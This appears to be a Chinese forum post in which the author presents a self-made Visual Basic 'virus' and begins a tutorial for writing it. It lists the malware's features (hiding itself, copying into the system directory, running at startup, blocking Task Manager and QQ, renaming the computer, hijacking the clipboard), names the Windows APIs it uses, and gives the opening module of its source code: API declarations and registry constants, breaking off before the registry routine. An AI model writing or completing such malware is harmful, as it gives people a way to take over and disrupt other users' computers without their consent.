|
大虾们,你们好!今天我无聊时做了一个简单的病毒!希望和大家讨论讨论! 这病毒的功能如下 1 运行时隐藏起来 2 自我复制到系统目录下 3 WIN启动时自我运行 5 不准重复打开这个程序 4 程序运行时不能打开任务管理器,QQ等! 6 计算机名称改变 7 每次粘贴时,出现的是“我是甯王我怕谁,我爱你!” 首先介绍一下要用到的API吧(只说功能) GetForegroundWindow 获得前台窗口的句柄 GetClassName 为指定的窗口取得类名 PostMessage 将一条消息投递到指定窗口的消息队列 GetWindowText 取得一个窗体的标题文字 SetComputerName 设置新的计算机名 GetSystemDirectory 取得Windows系统目录 GetWindow 获得一个窗口的句柄 ShowWindow 控制窗口的可见性 RegOpenKey 打开一个现有的注册表项 RegQueryValueEx 获取一个项的设置值 RegSetValueEx 设置指定项的值 RegCloseKey 关闭系统注册表中的一个项 然后开始编写! 1添加一个: Module1模块 Option Explicit ’声明API Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value. Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long Public Declare Function GetForegroundWindow Lib "user32" () As Long Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" (ByVal lpComputerName As String) As Long Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long ’声明常量 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const GW_OWNER = 4 Public Const SW_HIDE = 0 ’在写一个修改注册表的子过程
|